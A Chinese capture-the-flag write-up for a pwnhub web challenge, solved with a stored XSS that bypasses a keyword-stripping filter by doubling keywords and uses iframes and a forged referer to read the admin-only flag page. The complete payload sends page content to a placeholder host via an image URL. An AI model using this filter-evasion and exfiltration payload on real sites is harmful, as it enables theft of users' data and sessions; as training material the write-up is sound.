输入点发送信息处，输出在对应用户的 `api/getmessage.php` 。

其中经过的waf为简单去除关键字 `on,img,script` ，使用 `scrscriptipt` 双写绕过。

`/user.php` 作为本题admin账号的XSS触发点，加了一层CSP：

```
Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';
style-src 'self' 'unsafe-inline';
```

思路就是利用iframe读取内容。

第一次读到admin的 `api/getmessage.php` 页面内容。

```
<li class="list-group-item">Wow, good guys,maybe you want \/adminshigesha233e3333
```

访问 `/adminshigesha233e3333`

```
Hello, maybe something in flag.php
```

继续访问 `/adminshigesha233e3333/flag.php`

```
hello, hacker, only admin can see it
```

好吧我们用XSS继续读

```
nothing here,ヽ(ᒍ-ᒐ)ᕤ,what ever you try, only from adminshigesha233e3333 can read it...
```

看来还得控制referer，加了一段代码

```
var referLink = w.document.createElement('a');
referLink.href = 'http://52.80.63.91/adminshigesha233e3333/flag.php';
w.document.body.appendChild(referLink);
referLink.click();
```

最终读到flag

```
"get_data": {
    "flag": "flag is here pwnhub{flag:向大佬低头的.avi}<a href="http:\/\/52.80.63.91\/adminshigesha233e3333\/flag.php"><\/a>"
},
```

完整payload

```
<scrscriptipt>
$.post("api/addmessage.php", {to: "admin",message: decodeURICompoonnent(" {{编码后的一大串}}
"),},functioonn(result){
var ifp = document.createElement('iframe');
ifp.setAttribute('src', 'api/getmessage.php');
ifp.setAttribute('id', 'pi2');
document.body.appendChild(ifp);
```

```
});
</scrscriptipt>
```

上面编码处

```
<scrscriptipt>
var pro = document.createElement('iframe');
    pro.setAttribute('src', '../adminshigesha233e3333/');
    pro.setAttribute('id', 'pi');
    document.body.appendChild(pro);

    pro.oonnload = functioonn() {
        var w = document.getElementById('pi').coonntentWindow;
        var referLink = w.document.createElement('a');
        referLink.href = 'http://52.80.63.91/adminshigesha233e3333/flag.php';
        w.document.body.appendChild(referLink);
        referLink.click();

        var w2 = document.getElementById('pi2').coonntentWindow;
        w2.document.createElement('imimgg').src="http://xxx/?
flag="+document.getElementById('pi').coonntentWindow.document.body.innerHTML;
    }
</scrscriptipt>
```